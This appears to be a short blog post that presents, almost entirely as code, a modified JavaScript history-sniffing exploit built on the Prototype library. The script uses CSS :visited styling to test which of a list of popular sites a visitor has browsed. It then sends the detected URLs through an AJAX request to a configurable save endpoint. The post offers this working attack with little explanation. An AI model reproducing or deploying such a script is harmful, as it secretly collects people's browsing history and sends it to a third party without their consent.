Stealing History (Part 2)

Cody Swann has a modified version of the exploit using prototype that works in IE and has support for AJAX requests:

<html>
<head>
<script type="text/javascript" src="http://script.aculo.us/prototype.js"></script>
</head>
<body>
Have you been to these sites?
<script type="text/javascript">

Snoop = Class.create();

Snoop.prototype = {
	initialize: function(options)
	{
		this.options = Object.extend({
			writeStyle: true,
			linkObjArray: null, //AN ARRAY OF JSON FORMATTED LINK OBJ IN THE FORM OF {link:'http://...',text:'nameOfSite'} THAT WILL BE CHECKED
			identifier: '', //IF SAVING THE DATA, THIS IS WHAT YOU WOULD LIKE TO USE TO IDENFIFY THE SESSON
			saveURL: null, //URL TO SEND THE DATA TO
			method: 'get', //METHOD USED IN AJAX SAVE
			transport: null, //TRANSPORT USED TO SEND SAVED DATA (XMLHTTPRequest by default)
			onComplete: function(visitedLinks)///FUNCTION CALLED AFTER PARSING LINKS
			{
				var dummy = document.createElement('ul');
				visitedLinks.each(
					function(linkObj)
					{
						var text = document.createTextNode(linkObj.text);
						var node = document.createElement('a');
						var li = document.createElement('li');
						node.appendChild(text);
						node.setAttribute('href',linkObj.link);
						li.appendChild(node);
						dummy.appendChild(li);
					}
				);
				document.body.appendChild(dummy);
			},
			onSaveComplete: function(){},///CALLBACK FOR AJAX FUNCTION ON SUCCESS
			onSaveError: function(){}///CALLBACK FOR AJAX FUNCTION ON FAILURE
		}, options || {});
		this._visitedLinks = [];
		if(this.options.writeStyle)
		{
			document.write('<style type="text/css">a.testerLink:visited{display:block;height:1px;}</style>');
		}
		this.collectVisitedLinks();
		this.finish();
	},
	collectVisitedLinks: function()
	{
		var dummy = document.createElement('div');
		dummy.id = 'visitTestDiv';
		Element.setStyle(dummy,{visibility:'hidden',height:'1px',lineHeight:'1px'});
		document.body.appendChild(dummy);
		var linkObjs = this.options.linkObjArray || [{link:'http://new.com/',text:'new'},{link:'http://new.2com/',text:'new2'},{link:'http://google.com/',text:'Google.com'},{link:'http://espn.go.com/',text:'ESPN.com'},{link:'http://script.aculo.us/',text:'Scriptaculous'},{link:'http://digg.com/',text:'Digg'},{link:'http://blog.slimc.com/',text:'Slimc.com'},{link:'http://www.cnn.com/',text:'CNN.com'},{link:'http://www.yahoo.com/',text:'Yahoo!'},{link:'http://myspace.com',text:'MySpace'},{link:'http://www.ebay.com/',text:'ebay'},{link:'http://wikipedia.org/',text:'Wikipedia'},{link:'http://amazon.com/',text:'Amazon.com'},{link:'http://sfbay.craigslist.org/',text:"Craig's List"}];
		linkObjs.each(
			function(linkObj,count)
			{
				var text = document.createTextNode(linkObj.text);
				var node = document.createElement('a');

				node.setAttribute('href',linkObj.link);
				Element.addClassName(node,'testerLink');
				dummy.appendChild(node);
				if(parseInt(Element.getHeight(node)) != 0)
				{
					this._visitedLinks.push(linkObj);
				}
				Element.remove(node);
			}.bind(this)
		);
		Element.remove(dummy);
	},
	finish: function()
	{
		if(this.options.saveURL)
		{
			var urls = this._visitedLinks.collect(function(link){ return link.link; });
			urls = urls.join(',');
			urls = escape(urls.replace(/,$/,''));
			urls = urls.replace(/%2C/,',');
			new Ajax.Request(this.options.saveURL,{
				transport: this.options.transport,
				method: this.options.method,
				parameters: 'id=' + this.options.identifier + '&urls=' + urls,
				onSuccess: this.options.onSaveComplete,
				onFailure: this.options.onSaveError
			});
		}
		this.options.onComplete(this._visitedLinks);
	}
};
new Snoop({saveURL:'/right/here'});
</script>
</body>
</html>

[1] http://blog.slimc.com/prototype-javascript-ending-privacy-one-visit-at-a-time/

3 Comments

Comments have been disabled for this content.